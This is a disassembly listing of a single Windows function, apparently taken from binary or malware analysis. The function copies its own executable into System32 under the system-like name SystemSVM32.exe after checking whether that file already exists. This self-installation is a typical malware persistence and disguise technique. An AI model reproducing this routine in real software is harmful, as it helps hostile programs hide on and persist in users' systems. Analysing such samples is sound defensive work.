Function at 0x1400043d0
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140004437
lea rdx, str.Failed_to_get_the_path_of_the_current_executable.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400053a0
mov rcx, rax
lea rdx, [0x140005570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x140004678
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
lea ecx, [rbx + 0x30]
call fcn.14000cb10
mov rcx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], 0x23
mov qword [rsp + 0x60], 0x2f
movups xmm0, xmmword [str.C:WindowsSystem32SystemSVM32.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e950]
movups xmmword [rax + 0x10], xmm1
movzx eax, word [0x14000e960]
mov word [rcx + 0x20], ax
movzx eax, byte [0x14000e962]
mov byte [rcx + 0x22], al
mov byte [rcx + 0x23], bl
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140004511
test al, 0x10
jne 0x140004511
lea rdx, str.Application_already_exists_in_the_System32_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400053a0
mov rcx, rax
lea rdx, [0x140005570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000450a
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004505
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004545
call fcn.14000cb4c
mov al, 1
jmp 0x140004678
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140004551
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000454c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000454c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cb4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0xf
mov ecx, 0x30
call fcn.14000cb10
mov rdx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x23
mov qword [rsp + 0x38], 0x2f
movups xmm0, xmmword [str.C:WindowsSystem32SystemSVM32.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e950]
movups xmmword [rax + 0x10], xmm1
movzx eax, word [0x14000e960]
mov word [rdx + 0x20], ax
movzx eax, byte [0x14000e962]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
xor r8d, r8d
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1400045f2
lea rdx, str.Failed_to_copy_the_executable_to_the_System32_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400053a0
mov rcx, rax
lea rdx, [0x140005570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x140004635
lea rdx, str.Executable_copied_to:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400053a0
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x30]
mov rcx, rax
call fcn.1400062a0
mov rcx, rax
lea rdx, [0x140005570]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov bl, 1
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140004675
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004670
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cb4c
movzx eax, bl
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14000caf0
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rbp
ret